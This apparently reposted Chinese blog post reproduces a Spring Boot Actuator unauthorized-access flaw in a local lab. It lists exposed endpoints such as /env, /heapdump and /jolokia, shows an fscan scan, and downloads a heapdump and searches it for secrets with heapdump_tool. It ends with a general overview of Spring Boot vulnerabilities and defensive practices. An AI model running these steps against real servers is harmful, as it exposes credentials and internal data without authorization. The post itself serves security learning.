Springboot Actuator未授权访问漏洞复现

更新时间:2022.07.20

微信公众号:乌鸦安全

image.png

1. 漏洞介绍

Spring Boot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP 跟踪等,帮助监控和管理Spring Boot 应用。这个模块是一个采集应用内部信息暴露给外部的模块,上述的功能都可以通过HTTP 和 JMX 访问。(来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q
Actuator是Spring Boot提供的应用系统监控的开源框架。在攻防场景里经常会遇到Actuator配置不当的情况,攻击者可以直接下载heapdump堆转储文件,然后通过一些工具来分析heapdump文件,从而可进一步获取敏感信息。(来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q

2. 漏洞环境搭建

搭建环境:windows10 + java1.8
可以直接按照命令进行操作,但是在环境搭建中,可能会遇到一定的问题:

git clone https://github.com/callicoder/spring-boot-actuator-demo.git
cd spring-boot-actuator-demo-master
mvn package
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

mvn的安装,可以百度下,比较容易。
执行mvn package
image.png
此时出现报错:
image.png
因为我们使用的没有IDE,所以在这可以用这个方法:
https://blog.youkuaiyun.com/qq_39323945/article/details/125110368
image.png

其他的方法可能不是很合适。继续编译,等待一会之后,编译成功:
image.png

然后启动环境:java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar

image.png

访问当前的ip信息:http://10.211.55.5:8080/

image.png

此时环境搭建完成。

3. 漏洞利用

3.1 漏洞发现

一般来说,这种可以通过扫描工具发现漏洞,在这里可以用fscan来试试:
./fscan_darwin -h 10.211.55.5
image.png
在这里可以发现有两个漏洞:

[+] http://10.211.55.5:8080 poc-yaml-springboot-env-unauth spring2
[+] http://10.211.55.5:8080 poc-yaml-spring-actuator-heapdump-file

3.2 利用方法

来源:https://mp.weixin.qq.com/s/qY-hBSa9u62TNB4-A4RZ9Q
Actuator 存在两个版本

1.x版本

/configprops # 显示所有@ConfigurationProperties
/env # 公开 Spring 的ConfigurableEnvironment
/health # 显示应用程序运行状况信息
/httptrace # 显示 HTTP 跟踪信息
/metrics # 显示当前应用程序的监控指标信息。
/mappings # 显示所有@RequestMapping路径的整理列表
/threaddump # 线程转储

/heapdump # 堆转储
/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法

2.x版本

/actuator/configprops # 显示所有@ConfigurationProperties
/actuator/env # 公开 Spring 的ConfigurableEnvironment
/actuator/health # 显示应用程序运行状况信息
/actuator/httptrace # 显示 HTTP 跟踪信息
/actuator/metrics # 显示当前应用程序的监控指标信息。
/actuator/mappings # 显示所有@RequestMapping路径的整理列表
/actuator/threaddump # 线程转储
/actuator/heapdump # 堆转储
/actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法

3.2 springboot-env-unauth

公开 Spring 的ConfigurableEnvironment
http://10.211.55.5:8080/actuator/env

image.png

http://10.211.55.5:8080/actuator/configprops

image.png

2.3 spring-actuator-heapdump

其实在实战中,最重要的就是heapdump文件,在这里文件里面理论上可以发现很多敏感的数据库之类的信息。
http://10.211.55.5:8080/actuator/heapdump
该文件可以直接下载到本地来,使用专业工具进行解密;
专业工具地址:https://github.com/wyzxxz/heapdump_tool
使用方法:java -jar heapdump_tool.jar heapdump
image.png

在这里选择1,然后搜索关键字:

image.png

当然,在这个环境中,暂时没有发现什么敏感信息,但是在实战里面,有概率是可以发现敏感数据的:

image.png

4. 总结

关于其他的工具来获取明文信息的,可以参考一下链接:
https://mp.weixin.qq.com/s/JKq4WxFKwh7IDIAqTKcTHw

### Spring Boot框架中的漏洞特征及安全问题分析 Spring Boot 框架作为现代化 Java 开发的主流框架之一,其简洁高效的设计广受开发者青睐。然而,随着其应用范围的扩大,安全问题也逐渐显现。以下是 Spring Boot 框架中常见的漏洞特征及相关的安全问题: #### 1. **未授权访问** 未授权访问Spring Boot 应用程序中较为常见的一类漏洞。这类问题通常源于对访问控制机制的不当配置或缺失。例如,Spring Security 框架中的 Method Security 安全限制绕过漏洞(CVE-2018-1258),可能导致攻击者绕过权限验证逻辑,从而获取敏感数据或执行未经授权的操作[^1]。 #### 2. **目录遍历漏洞** Spring Boot 的某些功能模块可能因输入验证不足而引入目录遍历漏洞。例如,在 CVE-2021-21234 中,`spring-boot-actuator-logview` 库由于对请求参数的校验不充分,允许攻击者通过构造恶意请求访问日志基目录之外的文件[^4]。此漏洞的修复方式包括升级至 0.2.13 版本或通过限制运行用户权限和部署反向代理来降低风险。 #### 3. **依赖库漏洞** Spring Boot 的强大功能很大程度上依赖于第三方库的支持,但这些库可能存在安全漏洞。例如,CVE-2016-1000027 是一个与 Spring Boot 相关的安全漏洞案例,展示了如何通过 PoC 项目识别和复现漏洞,并最终完成修复[^2]。因此,保持所有依赖项的及时更新是防范此类问题的关键。 #### 4. **默认配置风险** 许多开发者在使用 Spring Boot 时会沿用框架提供的默认配置,而这些默认配置可能隐藏安全隐患。例如,默认开启的 Actuator 端点可能会暴露应用程序的内部状态信息,为攻击者提供可乘之机。建议在生产环境中严格限制 Actuator 端点的访问权限,并仅启用必要的端点[^3]。 #### 5. **代码注入与远程代码执行** 某些 Spring Boot 漏洞可能导致代码注入或远程代码执行(RCE)。例如,Spring Framework 的某些版本存在序列化漏洞,攻击者可通过构造恶意序列化对象触发 RCE。对此,升级至安全版本(如 Spring Framework 5.0.6 或 4.3.17)是首要解决方案。 ### 示例代码:确保依赖更新 以下是一个典型的 `pom.xml` 配置示例,展示如何通过更新父 POM 版本来引入最新的安全修复: ```xml <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>3.2.3</version> <!-- 使用最新稳定版本 --> </parent> ``` ### 安全最佳实践 为了有效应对 Spring Boot 框架中的漏洞安全问题,建议采取以下措施: 1. 始终使用最新稳定版本的 Spring Boot 及其依赖项。 2. 对敏感端点实施严格的访问控制策略。 3. 定期进行安全审计,识别潜在的配置错误或漏洞。 4. 在生产环境中禁用不必要的功能模块。 5. 部署 WAF(Web Application Firewall)以增强防护能力。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值